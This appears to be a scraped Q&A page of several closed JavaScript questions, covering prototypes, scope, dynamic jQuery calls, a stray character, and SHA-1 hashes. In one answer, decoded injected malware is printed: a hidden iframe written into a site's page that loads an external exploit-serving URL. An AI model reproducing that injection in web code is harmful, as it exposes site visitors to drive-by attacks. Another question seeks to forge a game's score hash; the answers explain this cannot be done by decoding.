Simple javascript method issue [closed] - javascript
This question is unlikely to help any future visitors; it is only relevant to a small geographic area, a specific moment in time, or an extraordinarily narrow situation that is not generally applicable to the worldwide audience of the internet. For help making this question more broadly applicable, visit the help center.
Closed 10 years ago.
I am trying to understand the different between the following codes..
Select.prototype.create = function(){
codes1......
}
Search.prototype.create = function(){
codes2......
}
They both have different codes but the same method. I am not sure why and how it works. Can anyone helps me about it? Thanks alot.
Javascript functions/methods are not unique by the name only. The whole definition, Search.prototype.create, should be unique. I say should be because Javascript allows you to replace definitions without causing any errors/warnings
Javascript sees two methods, one on the Search prototype chain, and the other on the Select prototype. These two methods just happen to be called the same but are unrelated according to the language.
Often, in any other language or API, there are common names used like length, toString, call, dispose, replace and the list could go on.
They are the same methods defined on prototype of of two different constructors. Select and Search appear to be constructors for different objects (as implied by their name). If you did
var a = new Select();
a.create(); // this will run codes1 ....
var b = new Search();
b.create(); // this will run codes2 ...
Related
javascript array values not available outside function [closed]
This question is unlikely to help any future visitors; it is only relevant to a small geographic area, a specific moment in time, or an extraordinarily narrow situation that is not generally applicable to the worldwide audience of the internet. For help making this question more broadly applicable, visit the help center. Closed 10 years ago. I'm sorry to ask this but I've looked everywhere, and cant follow this. I'm trying to re-work a v2 google maps example to make it go in v3. I have a set of 'end points' within a driving distance of a central point I want to draw a polygon around. Tese are written to an array (there are three in the code that should work: driveMarkersArray - the current one, or drivePolyPoints or markersArray) Within the function process1direction(from,to) that does this they are certainly there, (although interestingly the firebug console reports them at the end, after all the processing is done?) BUT when then processed in a different function draw_DrivePolygon() to draw the polygon, array appears empty. Is this just declarations (I've checked a a lot) or something to do with the asynchronous query to find the driving directions?
In JavaScript Variable has its scope function level. Not block level. Have a look here for variable scope in JavaScript javascript-variable-scope Variable scope and the var keyword.
dynamic jQuery Effects [closed]
This question is unlikely to help any future visitors; it is only relevant to a small geographic area, a specific moment in time, or an extraordinarily narrow situation that is not generally applicable to the worldwide audience of the internet. For help making this question more broadly applicable, visit the help center. Closed 10 years ago. Was wondering if there is a way in Javascript to call function/method names by string? Scenario, writing a bit of jQuery that runs an Effect on target(s). I'd like to make this Effect Dynamic (Changeable by the user). I guess, ideally i would be looking for something like jQuery('target').Effect('slideDown','slow'); Or anything that could produce the same results, with out having to have some overbearing Switch Statements like switch(vEffect){ case 'slideDown': jQuery().slideDown(); break; } which to me seems redundant...
You can use the property syntax to reference a method: jQuery('target')['slideDown']('slow'); or, if you have it in a variable: var methodName = 'slideDown'; jQuery('target')[methodName]('slow'); You could also create your own jQuery plug-in called effect that took parameters like you want and then called the actual method using the above technique. jQuery.fn.effect = function(methodName, speed) { return this[methodName](speed); } which you could then call like this: jQuery('target').effect('slideDown', 'slow);
What is this strange code found in my javascript file? [closed]
This question is unlikely to help any future visitors; it is only relevant to a small geographic area, a specific moment in time, or an extraordinarily narrow situation that is not generally applicable to the worldwide audience of the internet. For help making this question more broadly applicable, visit the help center. Closed 10 years ago. One of my form validating files, I found the following code (see below) My friend pointed it out when he scanned my site, says it's a virus. But what is it exactly? http://pastebin.com/P8KBm0xk
A kind of virus. I contains some strings with Unicode-escaped characters in an array literal, the first beeing some html and the second "write". Then, document[arr[1]](arr[0]) is executed, which translates to the following: document.write('<div name="youtube" style="display:none"><iframe width="560" height="315" src="evil://mazda.georgewkohn.com/direct.php?page=15f48be84d67654d" frameborder="0" allowfullscreen></iframe></div>'); document.write('<div name="youtube" style="display:none"><iframe width="560" height="315" src="evil://mazda.georgewkohn.com/direct.php?page=15f48be84d67654d" frameborder="0" allowfullscreen></iframe></div>'); I don't know (and won't inspect) what these iframes include, there will probably be some exploit. Also, the code does contain (between these two iframe-writes) some functions (_1lO and O0l) which probably unescapes the IlO string before it is evaled (yes, eval is evil! :-), but there is some missing code in front of your pastebin snippet, so I won't be able to tell you what they exactly do. Can you give us the whole script?
This is an obfuscated virus. Somewhere with all that stuff will be an eval(). If you want to know what it exactly does, you will have to decode the parts and see. Much more interesting will be, how the stuff ended up in your code.
Why does my jsfiddle work but not my web site? [closed]
This question is unlikely to help any future visitors; it is only relevant to a small geographic area, a specific moment in time, or an extraordinarily narrow situation that is not generally applicable to the worldwide audience of the internet. For help making this question more broadly applicable, visit the help center. Closed 10 years ago. I'm not sure what im missing here I have the following JS fiddle: http://jsfiddle.net/thetylercox/eeMva/3/ And the site: http://soldbybillcox.com/treasure/demo1.html I'm not sure what I am missing but my website does not work.
​ from copying and pasting from fiddle
Just before your closing </script> tag, you've got an illegal character. Try right-clicking and 'view-source' in Chrome. You'll see it. Line #68.
On the line 68 you have illegial symbols right after a closing bracket }. Remove it and the code should work.
Open up your console, it says: Uncaught SyntaxError: Unexpected token ILLEGAL, demo.php:68 ... var total1 = document.getElementById("total1").value = total; }​ These might be caused by a BOM if you're using different files/includes to generate the output. Otherwise, it might just be some copy/paste error. Just remove the }​</script> to make sure the 'invisible' chars are gone between } and < and then type }</script> again and be done with it.
Seems to work just fine, except you have a random trio of symbols at the end of your <script>, so remove those and it should be just fine.
How Can decode sha1 code? [closed]
This question is unlikely to help any future visitors; it is only relevant to a small geographic area, a specific moment in time, or an extraordinarily narrow situation that is not generally applicable to the worldwide audience of the internet. For help making this question more broadly applicable, visit the help center. Closed 10 years ago. I have a code but i can't decode it so i need help for you. Please help me. Firstly I don't know it type. What is it ? sha1 ? md5 ? hash ? i know just this code have 40 character. How can decode this security code ? it's have game score so i need decode it but i can't decode it. This code: "security":"c6aefe7f8c9fd439f59635efc82fcbd4f6cd4b9c" it's protect game inform. When I changed anything, it's not confirm security code. Full Code: {"security":"c6aefe7f8c9fd439f59635efc82fcbd4f6cd4b9c","time":40844,"numberOfBirdsShot":2,"type":"LevelComplete","blocks":"800,100,130,130,130,130,310,110,300,300,110,10,150,70,120,60,40,60,60,110,130,80,70,140,180,20,190,20,40,40,90,70,10,10,40,10,40,190,190,40,40,50,20,130,20,140,10,60,90,120,120,10,10,80,100,120,30,90,90,290,100,80,120,70,70,370,150,50,50,160,160,10,30,250,160,180,180,130,70,70,130,60,30,30,130,320,70,70,170,70,150,40,40,90,30,110,120,270,60,40,180,140,220,30,20,160,460,10,30,70,110,350,290,700,550,90,100,90,10,100,40,40,80,40,40,170,80,80,70,70,70,120,170,10,20,50,10,10,40,70,70,50,20,80,80,20,20,90,220,220,230,50,20,20,80,60,30,30,280,90,50,260,80,120,80,80,50,110,90,20,20,30,30,60,70,40,40,10,30,110,100,50,40,50,100,90,20,20,30,160,10,10,20,10,10,90,70,30,210,180,90,80,80,40,160,60,30,80,80,80,0,500,5000,500,500,500,500,5000,500,500,500,500,500,500,500,500,500,500,500,5000,500,500,5000,500,500,500,500,500,500,0,10000,10000","sessionID":"2DAB169CF4F766CC69CA2C5A02339CB7.f119dcaaa5c087f52aa2ad687312f9f46d402972","levelID":"1-1","score":73150,"gameplay":"WIN1-1##2#321:16.489984194253722:-25.291503791549072:1:-161.45947702629903#505:16.306849998012037:-27.166930977940375:1:172.61390103177405##2#333#517##0","userLevelID":"0c4679cd-5fb0-441e-a257-a060010bdb3d","userID":"1a7c1755-a7e7-48a0-9e7d-a04a0142a595"}
You can't decode a sha1 hash. A cryptographically strong hash function exhibits two features: it is irreversible and it minimizes collisions. Irreversibility means that the original data cannot be reconstructed from its hash. Cf. encryption, which must be reversible (see write-only memory.) A collision occurs when two different sets of data generate the same hash.
If it has 40 characters of hex, then that's 20 bytes or 160 bits which would suggest it's SHA-1.
It's not possible (in a reasonable amount of time). What you can do is check rainbowtables or try to find hash collisions.